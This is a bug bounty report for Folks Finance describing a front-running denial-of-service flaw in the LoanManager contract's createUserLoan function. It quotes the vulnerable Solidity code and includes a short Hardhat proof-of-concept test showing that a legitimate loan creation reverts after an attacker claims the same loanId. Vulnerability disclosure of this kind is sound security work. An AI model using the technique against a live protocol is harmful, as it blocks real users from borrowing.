Boost _ Folks Finance 34028 - [Smart Contract - Medium] Denial of Service DoS vulnerability in UserLoan creation due to front-running attack

Submitted on Sun Aug 04 2024 09:38:21 GMT-0400 (Atlantic Standard Time) by @zarkk for Boost | Folks Finance

Report ID: #34028

Report type: Smart Contract

Report severity: Medium

Target: https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9

Impacts:

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

The current design of the createUserLoan function in the LoanManager contract allows attackers to exploit it, enabling a Denial of Service (DoS) attack that blocks legitimate UserLoan creations by front-running them creating a loan with the same loanId.

Vulnerability Details

To use Folks Finance and, actually, borrow money, users must create an UserLoan by triggering the createUserLoan function in the LoanManager contract, providing a unique loanId. The function checks whether the loanId has already been used for the creation of another UserLoan and that UserLoan is active. If it is active, the creation process is halted, and the transaction is reverted. This allows an attacker to front-run legitimate account creation requests by submitting their own transaction with the same loanId, effectively blocking others from creating UserLoan and accessing the platform. We can the implementation of createUserLoan here :

function createUserLoan(
        bytes32 loanId,
        bytes32 accountId,
        uint16 loanTypeId,
        bytes32 loanName
    ) external override onlyRole(HUB_ROLE) nonReentrant {
        // check loan types exists, is not deprecated and no existing user loan for same loan id
        if (!isLoanTypeCreated(loanTypeId)) revert LoanTypeUnknown(loanTypeId);
        if (isLoanTypeDeprecated(loanTypeId)) revert LoanTypeDeprecated(loanTypeId);
@>        if (isUserLoanActive(loanId)) revert UserLoanAlreadyCreated(loanId);

        // create loan
        UserLoan storage userLoan = _userLoans[loanId];
        userLoan.isActive = true;
        userLoan.accountId = accountId;
        userLoan.loanTypeId = loanTypeId;

        emit CreateUserLoan(loanId, accountId, loanTypeId, loanName);
    }

Furthermore, as it can be easily understood, all calls on createUserLoanAndDeposit will also revert.

Impact Details

This vulnerability allows an attacker to prevent any new user loans from being created by front-running legitimate requests. The attack breaks the main functionality of Folks Finance and can be exploited from the very start of the protocol for ever, making the protocol unusable. The ease with which this attack can be executed, combined with its potential to fully block loan creation, makes this a critical issue.

References

https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/LoanManager.sol#L40-L58

Proof of concept

Proof of Concept

To understand better this vulnerability, add the following test under the "Create User Loan" section in LoanManager.test.ts:

it.only("Should fail to create user loan when malicious has front runned the creation with same loanId", async () => {
      const { hub, loanManager, loanTypeId } = await loadFixture(addPoolToLoanTypeFixture);
      
      const loanId = getRandomBytes(BYTES32_LENGTH);
      const loanName = getRandomBytes(BYTES32_LENGTH);
      // Malicious attacker front running the creation of the creation of the loan, creating a loan with the same loanId.
      const createUserLoanFrontrun = await loanManager.connect(hub).createUserLoan(loanId, getAccountIdBytes("ACCOUNT_ID_MALICIOUS"), loanTypeId, loanName);

      expect(await loanManager.isUserLoanActive(loanId)).to.be.true;

      // The legit transaction will revert, and this can happen for EVERY creation of UserLoan of EVERY user.
      const createUserLoanLegit = loanManager.connect(hub).createUserLoan(loanId, getAccountIdBytes("ACCOUNT_ID_LEGIT"), loanTypeId, loanName);
      await expect(createUserLoanLegit).to.be.revertedWithCustomError(loanManager, "UserLoanAlreadyCreated").withArgs(loanId);
    });

Last updated